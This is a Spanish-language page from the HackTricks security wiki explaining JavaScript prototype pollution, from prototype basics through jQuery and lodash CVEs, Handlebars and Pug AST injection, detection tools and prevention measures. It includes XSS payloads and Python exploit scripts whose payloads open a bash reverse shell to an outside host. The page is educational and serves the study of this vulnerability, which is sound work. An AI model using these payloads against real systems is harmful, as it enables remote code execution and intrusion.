NodeJS - __proto__ & prototype Pollution

Apoya a HackTricks

Objetos en JavaScript

Los objetos en JavaScript son esencialmente colecciones de pares clave-valor, conocidos como propiedades. Un objeto puede ser creado usando Object.create con null como argumento para producir un objeto vacío. Este método permite la creación de un objeto sin ninguna propiedad heredada.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

Un objeto vacío es similar a un diccionario vacío, representado como {}.

Funciones y Clases en JavaScript

En JavaScript, las clases y las funciones están estrechamente relacionadas, siendo las funciones a menudo constructores para las clases. A pesar de la falta de soporte nativo para clases en JavaScript, los constructores pueden emular el comportamiento de las clases.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototipos en JavaScript

JavaScript permite la modificación, adición o eliminación de atributos de prototipo en tiempo de ejecución. Esta flexibilidad permite la extensión dinámica de las funcionalidades de las clases.

Funciones como toString y valueOf pueden ser alteradas para cambiar su comportamiento, demostrando la naturaleza adaptable del sistema de prototipos de JavaScript.

Herencia

En la programación basada en prototipos, las propiedades/métodos son heredados por objetos de clases. Estas clases se crean añadiendo propiedades/métodos ya sea a una instancia de otra clase o a un objeto vacío.

Cabe señalar que cuando se añade una propiedad a un objeto que sirve como prototipo para otros objetos (como myPersonObj), los objetos que heredan obtienen acceso a esta nueva propiedad. Sin embargo, esta propiedad no se muestra automáticamente a menos que se invoque explícitamente.

__proto__ pollution

Explorando la contaminación de prototipos en JavaScript

Los objetos de JavaScript se definen por pares clave-valor y heredan del prototipo de objeto de JavaScript. Esto significa que alterar el prototipo de Object puede influir en todos los objetos en el entorno.

Utilicemos un ejemplo diferente para ilustrar:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

El acceso al prototipo de Object es posible a través de:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Al agregar propiedades al prototipo de Object, cada objeto de JavaScript heredará estas nuevas propiedades:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

contaminación de prototipos

Para un escenario donde el uso de __proto__ está restringido, modificar el prototipo de una función es una alternativa:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Esto afecta solo a los objetos creados a partir del constructor Vehicle, dándoles las propiedades beep, hasWheels, honk e isElectric.

Dos métodos para afectar globalmente a los objetos de JavaScript a través de la contaminación del prototipo incluyen:

  1. Contaminar directamente el Object.prototype:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Contaminando el prototipo de un constructor para una estructura de uso común:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Después de estas operaciones, cada objeto de JavaScript puede ejecutar los métodos goodbye y greet.

Contaminando otros objetos

De una clase a Object.prototype

En un escenario donde puedes contaminar un objeto específico y necesitas llegar a Object.prototype, puedes buscarlo con algo como el siguiente código:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Contaminación de elementos de array

Note que, así como puede contaminar atributos de objetos en JS, si tiene acceso para contaminar un array, también puede contaminar los valores del array accesibles por índices (note que no puede sobrescribir valores, por lo que necesita contaminar índices que se utilicen de alguna manera pero no se escriban).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Contaminación de elementos Html

Al generar un elemento HTML a través de JS, es posible sobrescribir el atributo innerHTML para hacer que escriba código HTML arbitrario. Idea y ejemplo de este artículo.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Ejemplos

Ejemplo Básico

Una contaminación de prototipo ocurre debido a un defecto en la aplicación que permite sobrescribir propiedades en Object.prototype. Esto significa que, dado que la mayoría de los objetos derivan sus propiedades de Object.prototype

El ejemplo más fácil es agregar un valor a un atributo indefinido de un objeto que va a ser verificado, como:

if (user.admin) {

Si el atributo admin está indefinido es posible abusar de un PP y establecerlo en True con algo como:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

El mecanismo detrás de esto implica manipular propiedades de tal manera que, si un atacante tiene control sobre ciertas entradas, puede modificar el prototipo de todos los objetos en la aplicación. Esta manipulación generalmente implica establecer la propiedad __proto__, que, en JavaScript, es sinónimo de modificar directamente el prototipo de un objeto.

Las condiciones bajo las cuales este ataque puede ejecutarse con éxito, como se detalla en un estudio específico, incluyen:

  • Realizar una fusión recursiva.

  • Definir propiedades basadas en una ruta.

  • Clonar objetos.

Función de anulación

customer.__proto__.toString = ()=>{alert("polluted")}

Contaminación de Proto a RCE

Otros payloads:

Contaminación de prototipos del lado del cliente a XSS

CVE-2019–11358: Ataque de contaminación de prototipos a través de jQuery $ .extend

Para más detalles, consulta este artículo En jQuery, la función $ .extend puede llevar a la contaminación de prototipos si se utiliza incorrectamente la función de copia profunda. Esta función se usa comúnmente para clonar objetos o fusionar propiedades de un objeto por defecto. Sin embargo, cuando está mal configurada, las propiedades destinadas a un nuevo objeto pueden asignarse al prototipo en su lugar. Por ejemplo:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Esta vulnerabilidad, identificada como CVE-2019–11358, ilustra cómo una copia profunda puede modificar inadvertidamente el prototipo, lo que lleva a riesgos de seguridad potenciales, como acceso no autorizado de administrador si se verifican propiedades como isAdmin sin una verificación adecuada de existencia.

CVE-2018–3721, CVE-2019–10744: Ataque de contaminación de prototipos a través de lodash

Para más detalles, consulta este artículo

Lodash encontró vulnerabilidades similares de contaminación de prototipos (CVE-2018–3721, CVE-2019–10744). Estos problemas se abordaron en la versión 4.17.11.

Otro tutorial con CVEs

Herramientas para detectar Contaminación de Prototipos

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Extensión de Burp Suite diseñada para detectar y analizar vulnerabilidades de contaminación de prototipos del lado del servidor en aplicaciones web. Esta herramienta automatiza el proceso de escaneo de solicitudes para identificar problemas potenciales de contaminación de prototipos. Aprovecha gadgets conocidos - métodos de aprovechar la contaminación de prototipos para ejecutar acciones dañinas - enfocándose particularmente en bibliotecas de Node.js.

  • server-side-prototype-pollution: Esta extensión identifica vulnerabilidades de contaminación de prototipos del lado del servidor. Utiliza técnicas descritas en la contaminación de prototipos del lado del servidor.

Contaminación de Prototipos AST en NodeJS

NodeJS utiliza extensivamente Árboles de Sintaxis Abstracta (AST) en JavaScript para funcionalidades como motores de plantillas y TypeScript. Esta sección explora las vulnerabilidades relacionadas con la contaminación de prototipos en motores de plantillas, específicamente Handlebars y Pug.

Análisis de Vulnerabilidad de Handlebars

El motor de plantillas Handlebars es susceptible a un ataque de contaminación de prototipos. Esta vulnerabilidad surge de funciones específicas dentro del archivo javascript-compiler.js. La función appendContent, por ejemplo, concatena pendingContent si está presente, mientras que la función pushSource restablece pendingContent a undefined después de agregar la fuente.

Proceso de Explotación

La explotación aprovecha el AST (Árbol de Sintaxis Abstracta) producido por Handlebars, siguiendo estos pasos:

  1. Manipulación del Analizador: Inicialmente, el analizador, a través del nodo NumberLiteral, impone que los valores sean numéricos. La contaminación de prototipos puede eludir esto, permitiendo la inserción de cadenas no numéricas.

  2. Manejo por el Compilador: El compilador puede procesar un objeto AST o una plantilla de cadena. Si input.type es igual a Program, la entrada se trata como preanalizada, lo que puede ser explotado.

  3. Inyección de Código: A través de la manipulación de Object.prototype, se puede inyectar código arbitrario en la función de plantilla, lo que puede llevar a la ejecución remota de código.

Un ejemplo que demuestra la explotación de la vulnerabilidad de Handlebars:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Este código muestra cómo un atacante podría inyectar código arbitrario en una plantilla de Handlebars.

Referencia Externa: Se encontró un problema relacionado con la contaminación de prototipos en la biblioteca 'flat', como se detalla aquí: Problema en GitHub.

Referencia Externa: Problema relacionado con la contaminación de prototipos en la biblioteca 'flat'

Ejemplo de explotación de contaminación de prototipos en Python:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Vulnerabilidad de Pug

Pug, otro motor de plantillas, enfrenta un riesgo similar de contaminación de prototipos. La información detallada está disponible en la discusión sobre AST Injection in Pug.

Ejemplo de contaminación de prototipos en Pug:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Medidas Preventivas

Para reducir el riesgo de contaminación del prototipo, se pueden emplear las siguientes estrategias:

  1. Inmutabilidad de Objetos: El Object.prototype se puede hacer inmutable aplicando Object.freeze.

  2. Validación de Entrada: Las entradas JSON deben ser rigurosamente validadas contra el esquema de la aplicación.

  3. Funciones de Fusión Seguras: Se debe evitar el uso inseguro de funciones de fusión recursivas.

  4. Objetos Sin Prototipo: Se pueden crear objetos sin propiedades de prototipo utilizando Object.create(null).

  5. Uso de Map: En lugar de Object, se debe usar Map para almacenar pares clave-valor.

  6. Actualizaciones de Bibliotecas: Se pueden incorporar parches de seguridad actualizando regularmente las bibliotecas.

  7. Herramientas de Linter y Análisis Estático: Utilizar herramientas como ESLint con los plugins apropiados para detectar y prevenir vulnerabilidades de contaminación del prototipo.

  8. Revisiones de Código: Implementar revisiones de código exhaustivas para identificar y remediar riesgos potenciales relacionados con la contaminación del prototipo.

  9. Capacitación en Seguridad: Educar a los desarrolladores sobre los riesgos de la contaminación del prototipo y las mejores prácticas para escribir código seguro.

  10. Uso Cauteloso de Bibliotecas: Tener precaución al usar bibliotecas de terceros. Evaluar su postura de seguridad y revisar su código, especialmente aquellas que manipulan objetos.

  11. Protección en Tiempo de Ejecución: Emplear mecanismos de protección en tiempo de ejecución, como el uso de paquetes npm enfocados en la seguridad que pueden detectar y prevenir ataques de contaminación del prototipo.

Referencias

Support HackTricks

Last updated